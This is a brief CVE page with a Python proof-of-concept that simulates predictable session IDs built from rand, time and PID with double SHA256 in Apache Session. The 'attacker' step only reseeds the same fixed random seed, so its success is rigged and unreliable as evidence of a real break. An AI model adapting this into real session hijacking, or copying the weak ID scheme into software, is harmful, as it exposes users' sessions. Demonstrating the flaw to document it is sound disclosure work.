CVE-2026-8503 Apache Session SHA256会话预测漏洞

#!/usr/bin/env python3 # PoC simulation of the vulnerable session ID generation logic # This script demonstrates how predictable the session IDs are when using rand(), time, and PID. import hashlib import time import random def vulnerable_generate_sha256(pid): # Simulate Perl's rand() behavior (simplified for PoC) # In the actual vulnerable module, rand() is called multiple times or used directly rand_val = str(random.random()) epoch_time = str(int(time.time())) # Vulnerable logic: Hash(rand + time + pid) raw_string = rand_val + epoch_time + str(pid) # First SHA256 hash1 = hashlib.sha256(raw_string.encode()).hexdigest() # Second SHA256 (as per description) final_session_id = hashlib.sha256(hash1.encode()).hexdigest() return final_session_id # Attacker scenario: Knowing the approximate time and PID range print("[+] Simulating vulnerable session ID generation...") print("[+] Assuming attacker knows the time window and PID range.") # Target parameters (e.g., server time and PID) target_time = time.time() target_pid = 1234 # Seed random to simulate predictable state (e.g., same process start) random.seed(42) # Generate the 'real' session ID real_id = vulnerable_generate_sha256(target_pid) print(f"[+] Target Session ID: {real_id}") # Brute force simulation by attacker print("[+] Attacker attempting to predict the ID...") random.seed(42) # Reset seed to simulate prediction predicted_id = vulnerable_generate_sha256(target_pid) if real_id == predicted_id: print(f"[!] SUCCESS: Predicted ID matches: {predicted_id}") else: print("[-] Failed to predict.")